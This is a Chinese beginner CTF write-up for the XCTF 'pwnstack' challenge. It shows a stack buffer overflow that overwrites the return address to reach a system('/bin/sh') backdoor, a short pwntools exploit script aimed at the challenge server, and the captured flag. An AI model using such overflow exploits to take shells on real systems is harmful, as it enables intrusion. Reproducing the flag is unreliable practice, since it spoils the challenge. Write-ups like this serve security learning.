入门pwn day1

博客围绕xctf_pwnstack题目展开,在无保护的pwn2中,借助ida查看发现buf栈区可溢出及含‘/bin/sh’的backdoor函数。攻击者利用漏洞获取shell权限至关重要,通过覆盖返回地址到调用shell的函数地址,构造payload,最终成功得到pwnflag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

xctf_pwnstack

checksec pwn2

没有保护

打开ida

查看这儿块儿,这里有个buf栈区,可以溢出

再查看backdoor函数明显的字符串‘/bin/sh’询问一下chatgpt是什么意思

/bin/sh 是指系统默认的命令行解释器(shell)。在许多Linux发行版中,/bin/sh 实际上是指向某个特定的shell可执行文件的符号链接,通常是Bash(Bourne Again SHell)。

/bin/sh 是一个常用的 shell,而在很多情况下,攻击者可能试图利用系统中的漏洞,以获取一个具有权限的 shell。这通常被称为 "shell 提权" 或 "提权"。一旦攻击者成功获取了一个 shell,他们就可以通过这个 shell 执行系统命令,探索目标系统,以及执行其他操作,这对于渗透测试和漏洞利用来说是至关重要的。

大概意思就是通过执行  return system("/bin/sh");这个函数获取到shell,也就是权限,就可以得到flag了。但是要怎么能调用这个函数呢。

回到前面栈区,查看一下buf的栈区

栈的大小是0xa0,所以思路就出来了,栈底的下面就是read函数返回值,read再向buf栈区读取东西,如果刚好填满后,再将返回地址覆盖到我们想要的地址就可以自己得到shell权限了,payload=b'a'*0xa8+p64(0x0000400762 ),这个地址就是前面调用shell的函数

exp

from pwn import *
p=remote('61.147.171.105',53894)
payload=b'a'*0xa8+p64(0x400762)
p.send(payload)
p.interactive()

得到第一个pwnflag    cyberpeace{21cc5ec4e9710c81860f0f50c25b1b48}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值